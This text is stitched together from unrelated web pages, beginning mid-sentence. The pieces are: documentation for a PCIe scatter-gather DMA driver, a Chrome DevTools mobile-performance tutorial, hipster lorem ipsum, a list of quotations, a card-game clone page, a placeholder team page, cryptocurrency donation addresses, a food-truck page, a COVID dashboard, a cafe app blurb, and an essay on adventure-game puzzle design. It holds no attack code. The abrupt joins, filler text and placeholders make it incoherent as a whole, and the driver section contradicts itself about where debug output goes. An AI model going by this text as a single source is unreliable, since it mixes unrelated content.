moves 1 MB of data. This is equal to 256 4KB pages. A scatter-gather list
containing 256 entries will be created, each with a specific start address and length. Sometimes
adjacent pages can be allocated, and so the actual number of entries may be less than 256,
with some having lengths of 8KB or 12KB because multiple, contiguous pages are combined into one entry.
The Scatter-Gather list is used in the StartDmaWrite() and StartDmaRead() functions.
These functions program the SGDMA core to move as much data as is available in the mapping.
Currently the entire transfer size must fit within the SG-List. The code does not support moving
a sub-set of the entire transfer, releasing the SG-List then re-allocating a new list for the
next part of the transfer.
How the SGDMA IP is Setup
The SGDMA IP core is configured by routines in the Devices.cpp file. SGDMA_EnableChan() is used
to program the channel's globabl configuration registers. The channel is determined based on
the direction of the transfer. Writes into the PC (read()) are done using channel 0. Reads from
the PC (write()) are done using channel 1. The channel registers that need configuring are the
Buffer Descriptor start, arbiter settings, event masks, etc.
The channel's buffer descriptors are then programmed in SGDMA_ConfigWrite() or SGDMA_ConfigRead(),
depending on the direction of the transfer. These routines take the SG list data and program each
buffer descriptor to move the specified length to/from the PC physical address.
The SGDMA buffer descriptors are the hardware equivalents of the SG list.
Once the channel is setup, it is triggered to run and the driver code returns to the kernel.
The user process is blocked, waiting for the transfer to complete. The kernel returns control
to some other process in the system.
How the SGDMA Operates
The SGDMA IP Core moves data from a source interface to a destination interface. In this example, the
one interface is connected to the PCIe IP core and the other interface to the ColorBars and EBR slave
devices. Both interfaces are Wishbone compliant masters that initiate bus transactions.
The SGDMA processes the buffer descriptor list for a channel. It starts with the first buffer descriptor
and loads the source starting address and length, and the destination address. The DMA then performs
Wishbone bus cycles to read the data from the source and move it to and write it out onto the destination
bus. After all the data for a buffer descriptor is moved, the next buffer descriptor is accessed and
the next move is programmed with its information. This continues until the last buffer descriptor
is read and the transfer completed.
The following example shows how moving data from the EBR to the PC memory might occur.
- Read first buffer descriptor
- setup to read from Bus B, EBR, base address 0, length 4096 bytes
- setup to write to Bus A, PCIe, starting address from SG list (PC memory)
- setup to do writes in bursts of 128 bytes (max TLP size)
- start transfer of this buffer descriptor
- read next buffer descriptor
- setup the new source, destination and transfers as before
- start transfer of this buffer descriptor
- continue with all buffer descriptors in list until last one is done
- generate interrupt signalling everything is moved
The SGDMA is configured to generate an interrupt when it has finished moving all the data specified
by the buffer descriptors of a channel. This interrupt invokes the driver's ISR, which gets the
driver involved in completing the transfer from the software side.
Completing the Transfer
The driver's ISR is executed after the SGDMA transfers all the programmed data. The ISR clears
interrupts on the board and disables any further interrupts. (Nested interrupts are not supported
by this code or the IP). The Deffered Procedure Call (DPC) is then scheduled to run. The CPU returns
from interrupt context and the hardware can not interrupt again.
The DPC examines the SGDMA registers to see the reason for the interrupt. Upon successful completion
of moving data, the driver cleans up the SGDMA IP by disabling the
channel so it can not interrupt or run anymore and releases any system resources that may be
outstanding, such as SG lists. The driver then unblocks the wait queue.
The callers orignal operation then continues and returns the completion status and number of bytes moved.
The user process returns from the read() or write() and has the exact same return info as if it
had done a disk file access. The success or failure is returned, along with the number of bytes
actually transfered and if it was a read, then the caller's buffer has all the transferred data in it.
Closing the Device
Closing the DMA device is done with a standard close() call.
Closing is performed when the user is all done reading or writing.
It is just like closing a disk file. You do not need to close after one read() before doing
another read().
Closing and clean-up is done in lscdma_close().
This causes any outstanding DMA requests to be marked as cancelled.
If the user process aborts or crashes, the driver is
notified via the wait queue being unblocked by a signal.
The driver does not gracefully handle an io request timeout. To be fully user-friendly, a timer should
be started when an read/write request is first processed. If the operation is not completed within a certain
amount of time (10 seconds) the request is automatically cancelled and control returned to the user
process with a failure status. This timeout is not currently implemented. What this means is
that if the hardware hangs and does not complete the transfer, the user's read or write will
also hang. The demo will need to be closed with Ctrl-C or by closing the window. It won't gracefully
recognize that its hung and exit on its own.
Debug Output
The driver contains debug macros that send output to the system log (if the driver was installed with the
option debug=1).
The system log can be viewed with tail -f /var/log/messages (need to be root).
Information about opening the
device, executing a read or write, SG List allocation, SGDMA operations, etc. will all be printed to
the DebugView utility.


{% extends "tutorial.html" %}
{% block headauthor %}John McCutchan Today, the most important thing you can do for your site is make sure it
performs well when visited from a phone or tablet. Read on and learn how
to optimize your site for the mobile browser using Chrome DevTools and an
Android device.
Mobile devices are getting faster CPUs, more RAM, faster GPUs, and faster
network access as we transition from 2G and 3G to 4G. Despite the drumbeat
of progress, mobile devices are underpowered when compared to our
computers. In more concrete terms, loading network resources takes longer,
unpacking images takes longer, painting the page takes longer, executing
scripts takes longer. It’s safe to assume that your page runs 5 to 10
times slower on a mobile device.
Mobile devices are exclusively battery powered. Users of mobile devices want
that battery to last as long as possible. A sub-optimal site will drain a
battery much quicker than needed. Minimize network traffic and reduce paints
to reduce battery drain. When you fetch a resource, the WiFi or cell radio
must be on, which drains battery. When the browser paints an element, the CPU
and GPU usage spikes, which also drains battery.
“Performance is there to increase the metric that matters most to you. In
Facebook we care about scrolling. In an A/B test, we slowed down
scrolling from 60fps down to 30fps. Engagement collapsed. We said okay,
therefore scrolling matters.” - Facebook at Edge Conference
Mobile users expect to be able to get in and out quickly.
The fastest site will get the most engagement.
Chrome ships with a great
set of developer tools.
This article teaches you how to use these tools to profile your mobile site. If you’re already familiar with Chrome DevTools, great! If not, check these great tutorials:
Now that you’re caught up, let’s see how to accelerate your mobile site with DevTools. If this is the first time you’ve used Chrome DevTools for Android check out the getting
started guide at the bottom of the article.
With your Android device tethered to your computer. In desktop Chrome, navigate
to http://localhost:9222 and on your
Android device, open up your site.
You will be taken to a list of open tabs on your Android device.
Pick your page from the list of ‘Inspectable pages’.
and you will be taken to Chrome DevTools for that page. Aww.. that familiar Chrome DevTools toolbar is right there.
The most
important thing to understand about remote Chrome DevTools is that they are
the same DevTools you’re using today on your desktop.
The only difference is
that your Android device is only responsible for the page, while your desktop
is responsible for DevTools. Under the hood,
the same data is collected and the same functionality is available.
As an example, I visited
www.sfgate.com/movies on my phone.
Using Chrome DevTools on my desktop I hovered over a
div in the
Elements tool
and, just like it is on the desktop, the
div is visually highlighted on my
Android device.
The Elements tool can also be used to
toggle styles on and off, which will come in handy when we attempt to
investigate paint times.
Network performance is import, and it’s even more important on the mobile web.
Mobile devices are often on slower connections than our desktop and
laptop computers. To make sure you’re doing the right thing, take a
network snapshot by going to the
Network tool and pressing record.
The screenshot shows the network traffic resulting from a Google search.
Observe the network requests your site makes and find ways to minimize them.
If your site makes polling requests to the server, you may want to pay
attention to user activity and avoid polling when the user has been idle.
The Network tool allows you to view the
raw HTTP headers, useful in case mobile networks are altering them at all.
One of the biggest bottlenecks in mobile web browsers is painting your page.
Painting is the process of drawing an element on the page with the specified
styling. When one element is expensive to paint it slows down painting of the
whole page. Chrome makes an attempt at caching previously painted elements in
an offscreen buffer. But, on mobile the amount of GPU RAM available is limited,
limiting the number of elements that can be cached off screen. The side effect
is more paints and
each paint is slower than the desktop.
In order to have responsive scrolling, you must minimize paint times.
Chrome 25 includes
continuous page repaint mode.
Continuous page repaint mode never caches painted elements and, instead,
paints all elements each frame.
While the process is manual, it’s an invaluable tool for tracking down how
expensive painting each element on your page is. The first rule of optimization
club is measure what you’re trying to optimize
to get a baseline. Let’s work through a simple example.
First, enable continuous page repaint mode:
After enabling, a graph will be visible in the upper right corner of your
Android device. The x-axis of the graph is time, divided into frames. The
y-axis of the graph measures paint time, in milliseconds. You can see that,
on my device, the page takes 14 milliseconds to paint. The minimum and maximum
paint times are also shown along with GPU memory used.
As an experiment, I set the style on the selected element to be
“display: none”. Let’s see how expensive
the page is to paint now.
Paint times went from around 14 milliseconds per frame down to 4 milliseconds
per frame. In other words, painting that one element took approximately 10
milliseconds. By following the process of toggling elements on and off and
styles on and off you can quickly narrow in on the expensive parts of your
page. Remember, faster paint times means less jank, a longer battery and more
engagement from your users. When you’re ready to dig deeper, be sure to read
this great article on continuous page repaint mode.
Many of the more advanced developer features available in desktop Chrome are
also available in Android Chrome too. For example,
about:gpu-internals,
about:appcache-internals, and
about:net-internals are available.
When investigating a particularly tricky
problem you sometimes need more data in order to narrow in on the cause of
your problem. On the desktop, you might be using about:tracing. If you’re not
already familiar with about:tracing, watch
my video on using and exploring the
about:tracing profiling tool. It is
possible to capture the same data from
Android Chrome, follow these steps to get started:
Introduction
Why is Optimizing for the Mobile Web
so Important?
Performance
Battery
Engagement
Managing Performance
Using Chrome DevTools Remotely
Shedding Light on Network Access
Optimizing Paint Times
Advanced Features
about:tracing
After adb_trace.py completes you will have a JSON file that you can load in
desktop Chrome’s about:tracing.
Now that we've reviewed what remote Chrome DevTools can do, let's cover how to get started in your remote debugging session. If you haven’t used them before, read detailed instructions on how to get started. If you’ve already used them, but have forgotten exactly how to use them, I’ve listed shortened instructions here as well.
The option for enabling USB debugging can be found in Android Settings. Enable it.
If you haven’t already, connect your Android device to your desktop via USB. If this is the first time you’ve used USB debugging you will be given the following prompt:
If you will be doing remote debug sessions frequently, I recommend checking ‘Always allow from this computer’.
Open Settings > Advanced > DevTools and check the Enable USB Web debugging option as shown here:
Run the following command:
adb forward tcp:9222 localabstract:chrome_devtools_remote
creates a bridge between your desktop machine and your Android device via adb. If you run into any issues getting to this point, read over the detailed setup instructions here.Verify that your device is properly connected by opening Chrome on your desktop and navigating to http://localhost:9222". If you get a 404, another error, or don’t see something like the following:
read over the detailed setup instructions here.
Mobile users are often in a hurry and need to quickly get that important piece of information from your page. It is your duty as a mobile site builder to ensure that the page loads quickly and performs well on mobile. If not, user engagement will drop. Remote Chrome DevTools are functionally equivalent to their desktop counterparts. The UI is similar enough that you don’t need to learn a new set of tools. In other words, your work flow carries over. Remember, Facebook isn’t invincible to performance problems and your site isn’t either. Performant sites get more user engagement.
{% endblock %}


A post about plants
Cronut prism biodiesel, viral truffaut humblebrag pork belly plaid cliche waistcoat fam normcore beard narwhal. Single-origin coffee locavore narwhal. Skateboard try-hard pok pok cronut craft beer echo park sartorial, post-ironic flexitarian church-key street art. Poutine food truck keffiyeh vegan kinfolk, distillery aesthetic franzen hammock brunch taxidermy hella.
Man braid bushwick cardigan vexillologist, sartorial humblebrag tofu you probably haven't heard of them etsy. Sriracha tbh kogi heirloom, bushwick viral iPhone brooklyn selfies cardigan chartreuse kinfolk next level. Chambray 90's salvia, tacos keytar thundercats quinoa succulents. Bicycle rights kale chips hella polaroid, waistcoat gentrify tousled lomo pickled pork belly beard. Raw denim seitan shoreditch, VHS chicharrones ugh fingerstache messenger bag ethical crucifix sustainable. Subway tile flexitarian YOLO, church-key vaporware sustainable four loko gastropub jianbing organic umami you probably haven't heard of them. Sriracha photo booth poutine, fashion axe bicycle rights celiac yuccie umami.
Banjo fixie offal, truffaut swag scenester echo park dreamcatcher quinoa bitters humblebrag venmo. Mustache chillwave dreamcatcher jianbing, craft beer health goth organic pok pok meditation salvia next level literally forage. Etsy typewriter +1 semiotics edison bulb. Mustache salvia photo booth dreamcatcher succulents. Tousled schlitz pabst VHS, four loko flexitarian pinterest. Dreamcatcher occupy af, tacos chia deep v gentrify irony YOLO. 3 wolf moon live-edge four loko, VHS banh mi air plant keffiyeh chia vegan chambray forage la croix deep v.
Green juice vinyl brunch banh mi biodiesel, migas mustache man braid. Truffaut roof party blue bottle offal disrupt paleo. Kogi pop-up bitters, sartorial wolf hot chicken crucifix umami. Banh mi chicharrones hot chicken drinking vinegar church-key.  Brooklyn neutra church-key crucifix, blog tote bag messenger bag.
Ramps offal scenester pinterest. Street art iPhone put a bird on it vegan prism. Messenger bag fap XOXO heirloom keffiyeh, tousled cold-pressed cronut gluten-free twee gentrify tilde. Bushwick neutra poke truffaut, beard trust fund coloring book gastropub. Salvia mlkshk lomo tofu, tattooed chicharrones everyday carry man braid succulents forage asymmetrical. Squid salvia asymmetrical hella YOLO organic, hexagon ugh tumeric health goth letterpress. Vegan fam chambray, cronut dreamcatcher jianbing fanny pack four dollar toast copper mug.
Butcher lyft migas, typewriter pour-over tote bag vexillologist enamel pin. Meditation mustache helvetica pickled. Edison bulb ennui iPhone ugh blog gochujang.  Drinking vinegar waistcoat pitchfork retro fashion axe. Brooklyn semiotics schlitz taxidermy godard. Enamel pin fashion axe narwhal deep v chambray.
Hexagon forage venmo, normcore DIY truffaut you probably haven't heard of them. Pickled williamsburg hot chicken mixtape, beard umami craft beer raw denim jean shorts +1 truffaut meditation. Microdosing pop-up fanny pack cornhole vinyl, snackwave williamsburg kickstarter YOLO woke butcher lumbersexual forage. Semiotics cliche green juice mustache hashtag, pabst hexagon you probably haven't heard of them cornhole keffiyeh plaid edison bulb wolf listicle. Green juice pour-over four loko trust fund crucifix church-key. Yr kombucha schlitz, four dollar toast taxidermy locavore gluten-free lyft vexillologist raclette. Disrupt health goth viral, tousled occupy four loko actually shabby chic +1 artisan mustache neutra small batch master cleanse.
Comments people have left on this post


Technique is just a means of arriving at a statement
Jackson PollockTechnique is just a means of arriving at a statement
Jackson PollockPerhaps a human language is possible in which the intent of meaning is actually beheld in three-dimensional space
Terence MckennaAll the virgin eyes in the world are made of glass
Mina LoyWe are intensely aware of man as a machine and the body as a mechanism
Oskar SchlemmerIt is already too late, and it will go on being even later
Alison LurieScience cannot be stopped. Man will gather knowledge no matter what the consequences - and we cannot predict what they will be
Linus PaulingNo one can witness the fall of the ice palace. It takes place at night, after all the children are in bed.
Tarjei VesaasThe biological object is made of time as much as it is made of space and matter
Terence McKennaThe union of the mathematician with the poet, fervor with measure, passion with correctness, this surely is the ideal
William JamesMind is a captive of the body
Camille PagliaYour order is meaningless, my chaos is significant
Nathaniel West via Amos VogelEvery thing existing on the physical plane is an exteriorization of thought, which must be balanced through the one who issued the thought, and in accordance with that one's responsibility, at the conjunction of time, condition, and place
Harold WI wanted to be alone in quite an unusual, new way. The very opposite of what you are thinking: namely, without myselfâ€¦
PirandelloI love forms beyond my own, and regret the borders between us
Loren EiseleyThe bedrock basic stratum of reality is irreality; the universe is irrational because it is built not on mere shifting sand - but on that which is not
Philip K Dick


| # | Rooms(20667) | Size |
|---|---|---|
| 1 | Room's name 1 | 5/5 |
Innocuousy is clone of popular game "Cards Against Humanity". Which is avaible at cardsagainsthumanity.com
Cards Against Humanity® is distributed under a Creative Commons BY-NC-SA 4.0 license.
If you want to do your own game in your style I used json file with decks from there: crhallberg.com also here is my source code: GitHub.com
Site was created by:
-Graphic design Marlo
-Music Karix
-Development Miniosky


Meet Our Team
Sara Doe
"Wild Question Marks, but the Little Blind"
Sara Doe
"Wild Question Marks, but the Little Blind"
Sara Doe
"Wild Question Marks, but the Little Blind"
Sara Doe
"Wild Question Marks, but the Little Blind"
COMING SOON!
"Wild Question Marks, but the Little Blind"
"Wild Question Marks, but the Little Blind"
"Wild Question Marks, but the Little Blind"
"Wild Question Marks, but the Little Blind"


You can show your appreciation and help keep the snapchamber service alive by donating Bitcoin, Litecoin or Dogecoin:
1EfehTUVGZWWMA5Vf74eBe9YZSbA99ebxs
Lhf1D4vHCBcRCBpo2in7kR3rEdMHPJBnYG
DL9MZ9MXDuehdyq8jeqPhR1nGbiffJNFFS


Who We Are and what we love to do!
We, like all food trucks, started with an idea and humble beginnings, established in early 2018. We decided that although there are many great food trucks out there, none of them quite cater to the needs of health conscious, hungry people.
We love to deliver quality, farm-local food to the people who love it the most! As the saying goes, "what we are is what we eat!" And what we eat makes us happy, healthy, and balanced.
Our food brings us closer to our communities, and what we eat affects our bodies in so many ways. That's why, we love advocating and delivering the foods we make! Our current goals is to deliver to as many people as possible that only a food truck can do.
Let it be known that we are in the works of securing a local eatery as soon as we get the funding we need!
We are in business from 9am to 9pm from Tuesday - Sunday.
Today's Specials
Our Awesome Services
"I got so excited about the yumminess of the falafel salad that I am typing this review as I inhale my salad. Yes, it is that good.... Service was super friendly and quick. Can't wait, see you Rogue Pickings again tomorrow!"
Contact Us
1001 Portrero Avenue
San Francisco, CA 94110
(415)216-8000


COVID-19 Data Analysis
Case history for districts of Sri Lanka
Linear y-axis
Logarithmic y-axis
Case growth by country
Check out our
COVID-19 simulation tool for Sri Lanka
.
Data sources
Situation reports
- Epidemiology unit, Ministry of Health, Sri Lanka
JSON time-series by pomber


Use our app to check the line at KAF at Baker-Berry!
Check daily specials and menu availability
iOS and Android supported
Check how long the line is on your phone before you get to the cafe to maximize your coffee break.
With our line-prediction algorithm you can see the best times to go to KAF each day of the week.


The odyssey of ‘Zork: Mimesis’ begins in a field behind a white house. You climb in through an open window, take the water and sack lunch from the table, go in the living room and move the rug aside to reveal – a blank floor! … Soon the owner of the house – an underemployed, alcoholic bricklayer – is covering you with a shotgun as his unfaithful, neurotic wife dials 911. The puzzle-free, super-literary action continues as you are funneled through the criminal justice system…
— Roger Giner-Sorolla, conceding that mimesis is not everything
Without puzzles, or problems, or mechanisms to allow the player to receive the text a little at a time – whichever phrase you prefer – there is no interaction. Inevitably, puzzles are obstacles. Here, Arthur Dent will not be able to meet aliens and have a generally wild time until he has got hold of a babel fish:
>examine machine
The dispenser is tall, has a button at around eye-level, and says
“Babel Fish” in large letters. Anything dispensed would
probably come out the slot at around knee-level. It bears a small label
which reads “Another fine product of the Sirius Cybernetics
Corporation.”
>press dispenser button
A single babel fish shoots out of the slot. It sails across the room
and through a small hole in the wall, just under a metal hook.
>remove dressing gown
Okay, you're no longer wearing your gown.
>hang gown on hook
The gown is now hanging from the hook, covering a tiny hole.
>push dispenser button
A single babel fish shoots out of the slot. It sails across the room
and hits the dressing gown. The fish slides down the sleeve of the gown
and falls to the floor, vanishing through the grating of a hitherto
unnoticed drain.
>put towel over drain
The towel completely covers the drain.
(For the final solution, still some way off, see ‘The Hitchhiker's Guide To The Galaxy’.) A good game mixes easy puzzles with hard, but no puzzle should be so simple that one obvious command solves it. On the other hand nor should its solution, once guessed, take ridiculously long to achieve, or require endless repetition: such as to fetch something pointlessly distant, or to solve an eight-discs Tower of Hanoi, or to keep juggling objects so that only three are carried at any one time. Here are two basic pitfalls:
The “Get-X-Use-X” syndrome. By convention, every word or phrase in a cryptic crossword clue is used exactly once to account for some part of the answer. The equivalent in adventure games is the equation “one object = one puzzle solved”, where the player picks up a bicycle pump and looks for a bicycle, picks up a pin and looks for a balloon, and so on. Once used, an object can be dropped, for it surely will not be needed again. But this convention rapidly drains away realism, and most designers try to break the equation in every way possible: with red herrings (one object = no solutions), collection puzzles (many objects = one solution), multiple solutions (any of several objects = one solution) and multiple usages (one object = many solutions).
The “What's-the-Verb” syndrome. In ‘Ballyhoo’, “whip lion” and “hit lion with whip” are inequivalent and only one of them does any taming. The following, from ‘Sorcerer’, can only be called a bug:
>unlock journal
(with the small key)
No spell would help with that!
>open journal
(with the small key)
The journal springs open.
(For a third example, the wording needed to use the brick in ‘Zork II’ is most unfair.) In many games the “examine”, “search” and “look inside” verbs all perform different actions, and it is easy to accidentally design a hidden treasure in such a way that only one of these will find it. (Though at the other extreme, excessive tolerance for verbs leads to everything being “moved”, not “pushed”, “pulled” or “rotated”.) Similarly, in the “What's-the-Noun” syndrome, an object stubbornly fails to respond to reasonable synonyms, such as “sword” for “gladius” or “football” for a soccer ball. But perhaps a remark on a sad subject might be intruded here. The Japanese woman near the start of ‘Trinity’ can be called “yellow” and “Jap”, terms with a grisly resonance. The game shows nothing but respect for her: should it allow the player to do otherwise?
Variety is valuable, but logic and fairness are paramount. “Is the writer pulling a rabbit out of a hat or do you see the fuzzy ears first?” (Dave Lebling). Gareth Rees suggests that one way to ensure that puzzles are consistent with the game containing them is to write a sample transcript of play first:
It stops me coding anything until I have a puzzle fairly well fleshed out in my mind. Too often it's tempting to start coding something one way and then discover that later developments need a different approach.
It makes me think like a player (I try to … include a selection of the silly things that I would be liable to type if I were playing the game …). Often when coding it becomes habit just to fail to deal with situations and responses that are tricky to write. Having them appear on the script forces me to say to myself, ‘It may be tough to code but it'll appear natural in the game and that's worth it’. I also find it hard to get into the habit of providing interesting responses to failed actions, and the script helps with this.
Another approach is to chain backwards from a goal, repeatedly asking “how can I obstruct this further?”, so that the plot line becomes, like a computer drawing of a fractal curve, more crinkly with each iteration. Peter Killworth, in his book How to Write Adventure Games for the BBC Microcomputer Model B and Acorn Electron (whose opening words are “Adventure games are like avocado pears”) describes an entire game this way (‘Roman’, 1984). Thus you need to pay a debt to a Senator, so you need to steal a bust from a temple, but that means impersonating a priest, by sacrificing a chicken with a gladius, which means catching a chicken (you scare it with a cat, but the cat must be attracted by a mouse, which you need to catch with a mousetrap): and the gladius isn't just lying around, either. You also need a torch, which
… needs soaking in oil first, just as candles need wax to burn. So we'd better organise a pool of oil through which the player can walk … When the player gets to a source of flame – how about a brazier of coals, which will have to be untakeable? – he can attempt to light his torch. It isn't oily, it burns to a stump well-nigh instantly … If it is oily, it'll catch fire … No, that's too simple. If a player is soaked in oil too, he'll probably catch fire too! … We'll create a damp, misty area, where the player is assassinated by a runaway slave, unless he enters while on fire. Then he will be safe, because the mist will condense on his body … So the poor player, staggering around and on fire, will try the mist, but to his disappointment the torch will go out permanently too! The solution is trivial – he must drop the torch before entering the mist.
(Killworth's games are not known for their qualms and the player, it will be noted, forfeits the game without any warning by lighting the unoily torch or exploring the misty area.) This kind of plotting, with puzzles strung together like beads onto a necklace, offers the considerable advantage of lending coherency. But it is also liable to make long, linear sequences of puzzles which must be completed in an exact order. “I've found it incredibly hard to keep the puzzles from leading the whole story” (David M. Baggett, 1994).
· · · · ·
Mazes. In the Traité des systèmes of 1749, Condillac wrote: “What could be more ridiculous than that men awakening from a profound sleep, and finding themselves in the middle of a labyrinth, should lay down general principles for discovering the way out?” Ridiculous, but very human, because the dogged exploration of a maze is dull indeed, repetitious and irritatingly drawn-out: far more enjoyment is to be found in the working-out of its general principles.
Be it clearly said: it is designers who like mazes (“Concocting such mazes is one of my delights” – Peter Killworth); players do not like mazes. In the original puzzle, a tangled set of rooms have indistinguishable descriptions so that mapping becomes impossible: the original solution is to make the rooms distinguishable again by littering them with objects as markers. This solution is easily obstructed (the ‘Advent’ pirate and the ‘Zork I’ thief wander around picking the objects up again), but this only makes the experience more tiresome. When David Baggett was asked “How do I make my maze so that it doesn't have the standard solution?”, his entire reply was: “Omit it.”
Nevertheless, like the writing of locked-room mysteries, the devising of new solutions for mazes – usually involving guides, or hidden signs, or ways to see – is a modest art form in its own right: novelty being the essential point, though it is equally important to signal to the player that a novel solution exists. The unique The Adventure Gamer's Manual (1992), by the Cornish vicar and eccentric writer Bob Redrup, devotes all of Chapters 7 and 8 to solving maze variants: a faintly weary tone is maintained throughout. Redrup was an aficionado of the Topologika, and thus of the formerly Cambridge University games, which are simply riddled with mazes. Here, in ‘Crobe’ (1986) by the indefatigable maze-maker Jonathan Partington, the player is evidently not expected to explore haphazardly:
You are in an underground marsh, a treacherous place where everything looks alike and water and slime lap around your feet. One false move would mean death, but you do at least have the choice of 8 horizontal directions to wander in.
Because lethal unless solved utterly, this is a benign sort of maze. Likewise, in ‘Kingdom of Hamil’ (1982):
You are in the Maze of Hamil. Light streams in through
many gaps in the rocks. There is the constant sound of rockfalls, distant
and not-so-distant.
There is a small nickel hexagon here, with
the inscription “1 PFENTIME”.
Whatever is going on here, it doesn't look like a simple matter of dropping marker-objects. Partington also has a (thoroughly unfashionable) penchant for elements of randomness which a player can overcome with great difficulty by careful planning. The caryatid maze from ‘Fyleet’ (1985) makes the novel twist of imposing random obstacles on a determined layout, and in ‘The Quest for the Sangraal’ (1987): “There are exits in various directions, but, since the island is rotating, these directions change continually.” Infocom's output has its share of mazes, too, one per game: those in ‘Starcross’ and the ‘Enchanter’, ‘Sorcerer’, ‘Spellbreaker’ trilogy are the most satisfying.
Light source puzzles. Almost as disliked, but offering a little more scope to the designer, is the “bringing light to darkness” puzzle. The two standards reduce to refilling a lamp with limited oil and bringing light to a dark room which can apparently only be reached by a player who hasn't got a light source. (‘Advent’ includes both. The lake and aqueduct areas of ‘Zork III’ have an elegant light puzzle, probably the best thing in an otherwise so-so game.) Darkness need not be a problem to be solved, though: it might be a fact of life. Though few games have tried this (but visit the secret passage in ‘Christminster’), a large permanently dark area might still be explored with the other senses.
Capacity and exhaustion puzzles. Again, unpopular because their solution is normally tiresomely repetitive, forcing the player to keep putting things down and picking them up again. It can seem ridiculous that the protagonist can carry hundreds of bulky and fiddly things around all the time, so many designers impose a limit for realism's sake, typically of seven objects. It is bad form to set puzzles making life difficult because the limit is four and not five (after all, in emergency anyone can always carry one more item). In some games the limit is instead on total weight. Taking realism further, some games measure a state of health or even numerical levels of “strength” and “constitution” during play. The protagonist grows hungry and needs food, tired and needs sleep (in ‘Enchanter’ he is positively narcoleptic), wounded and needs recuperation. ‘Planetfall’ simulated a progressive illness whose symptoms are increasing need for food and sleep, and put many players off this kind of puzzle for life. Exhaustion rules are difficult to make fair. A rule requiring a return to an orchard for fruit should be watched carefully, as it will irritate a player to have to do this for a second, a third or a tenth time.
Timed puzzles. Completing this round-up of unpopular but still sometimes justified puzzles are those which involve timed events, running along a script which requires the player to do something specific at one particular moment. In the prologue to ‘The Hitchhiker's Guide To The Galaxy’, why would any player buy the cheese sandwich in the pub and then feed it to the dog in the lane, on the one and only turn in which this is possible? Admittedly, an alternative exists later on, but this is not evident at the time. Mike Roberts (Usenet posting, 1999):
Aside from the annoyance, the reason I try to avoid timed puzzles is that they make you acutely aware that you're playing a game. As soon as I get into a save-try-restore loop, any sense of immersion is destroyed for me; I instead feel like I'm debugging a program, since I'm running through a series of inputs to figure out how the game responds.
This “sense of immersion” can partly be restored by keying events not to game turns but to the time of day, provided this fits the scenario, and making each stage last for a great many more turns than are strictly needed to solve the puzzles. Events which come only to he who waits are also problematic. In the Land of Shadow of ‘Zork III’, only the player who decides for some reason to wait on a fairly uninteresting Ledge will be rewarded with a visitor. (This case is defensible on grounds of context, but only just.)
Utility objects. A designer who wants players to think of some items as useful needs to provide many situations – more than one, anyway – in which they can be used. A hallmark of better-designed games is that the player accumulates a few useful tools during play and wants to keep them to hand thereafter. (Cf. the crowbar and gloves in ‘The Lurking Horror’.)
Keys and doors. Almost all games close off segments of the map on a temporary basis by putting them behind locked doors. Many variations on this theme are extant in the literature: coded messages on the door, illusory defences, gate-keepers, the key being in the lock on the wrong side and so on. More usually a locked door signals to the player that a different puzzle (i.e., finding the key) has to be solved before this one can be, so that a designer uses it to impose a chronology on events. Questions to ask here include: if there are people just inside, do they react when the protagonist knocks on the door, or tries to break it down or ram it? Can the door be opened, closed, locked or unlocked from both sides? Are there skeleton or master-keys capable of opening many different doors? Are the keys which do open different doors sufficiently distinctive in appearance? Roger Giner-Sorolla commented that keys are the most naked kind of Get-X-Use-X puzzle:
One can only find so many keys inside fishes' bellies, lost in the wainscotting, dropped at random in corridors, or hanging around guard dogs' necks before the artifice of the puzzle structure becomes painfully clear. By contrast, all six of the keys in ‘Christminster’ are hidden in places where one might actually keep a key, and all their locks are guarding places that one would expect to be locked; moreover, we end the game with a pretty clear idea of who normally uses each key and why.
Machinery and vehicles. Machines are among the easiest puzzles to design: they have levers or ropes to pull, switches to press, cogs to turn. They need not make conversation or respond to anything beyond their function. They often require specialised tools, which brings in objects. They can transform the game in a semi-magical way; time travel or transforming coal to diamond being the clichés. They can also connect together different locations: chains, swinging arms and chutes may run across the map, and help to glue it together. Writing in the TADS manual, Mike Roberts makes the useful point that machines assist interactivity:
For example, you might design a machine, described as “a small metal box with a button, a short plastic hose on one side, and a large metal pipe on the other side.” When the button is pushed, “a loud hissing comes from the plastic hose for a moment, then a large drop of clear liquid drops out of the pipe, which hits the floor and quickly evaporates into a white cloud of vapor.” If the player puts the plastic hose in a glass of water and the button is pushed, “the water is sucked into the plastic tube, and few moments later a block of ice is dropped out of the pipe.” This allows the player to learn by experimentation what the machine does, which is more fun for the player than if you had labelled the machine “a freezer” or some such.
In machine puzzles, then, the player experiments with the controls and forms a theory of what is happening. With larger machines this involves visualising the physical construction of the components and how they affect each other: ‘Hollywood Hijinx’ is a tour de force of such puzzles, with a see-saw and a suspended safe. But the literature also includes highly complex self-contained machines presenting something of a black box whose internals must be deduced, such as a B-52 bomber and an Enigma cipher machine (‘Jigsaw’) and a computer which is programmable in the language Scheme (‘Lists and Lists’, Andrew Plotkin, 1996). Vehicles in games to date have included cars, tractors, fork-lift trucks, boats, hot-air balloons, log flumes, punts and elephant rides. Vehicles increase the realism of a landscape, by making it more than a set of rules about walking. They nevertheless need a little care to code: for instance, to disallow driving up ladders or through a narrow crevice.
Fire. The elements all tangle up code but add to the illusion. Fire has many useful properties – it makes light, it destroys things, it can cause explosions and chemical reactions, it cooks food, it softens materials, it can be passed from one object to another – but in the end it spreads, whereas the game's understanding doesn't. If the player is allowed to carry a naked flame, then the game is likely to need a rule to tell it whether or not every other item is flammable, and so on.
Water. In any location where water is available, players will try drinking, swimming, washing, diving. They will try to walk away with, indeed on, the water. Liquids make poor objects, because they need to be carried in some container yet can be poured from one to another, and because they are endlessly divisible. “Some water” can easily be made into “some water” and “some water”. If there's more than one liquid in the game, can they be mixed? Pouring liquid over something is likely to make a mess of it: yet why should it be impossible? And so on. The compromise solution is usually to have a bottle with a capacity of, say, 5 units of water, which can be refilled in any room where there is water and so that 1 unit is drunk at a time. The player who tries to pour water over most things is simply admonished and told not to. Implementing swimming, or being underwater, is a different order of difficulty again, and many games agree with ‘Parc’ (John Rennie, 1983) that “since you cannot free yourself, and since you are by nature an air-breathing mammal I'm afraid you drown!”. (Level 9's game ‘Adventure Quest’ is rare in containing a coherently worked out underwater section, though many games have the odd turn's-worth of diving. ‘Jinxter’ (Georgina Sinclair and Michael Bywater, 1987), also has an elaborate underwater section, with a seldom-discovered shipwreck to boot.) What happens to objects being held? Can the protagonist swim while wearing heavy clothes, or carrying many things? Is it possible to dive?
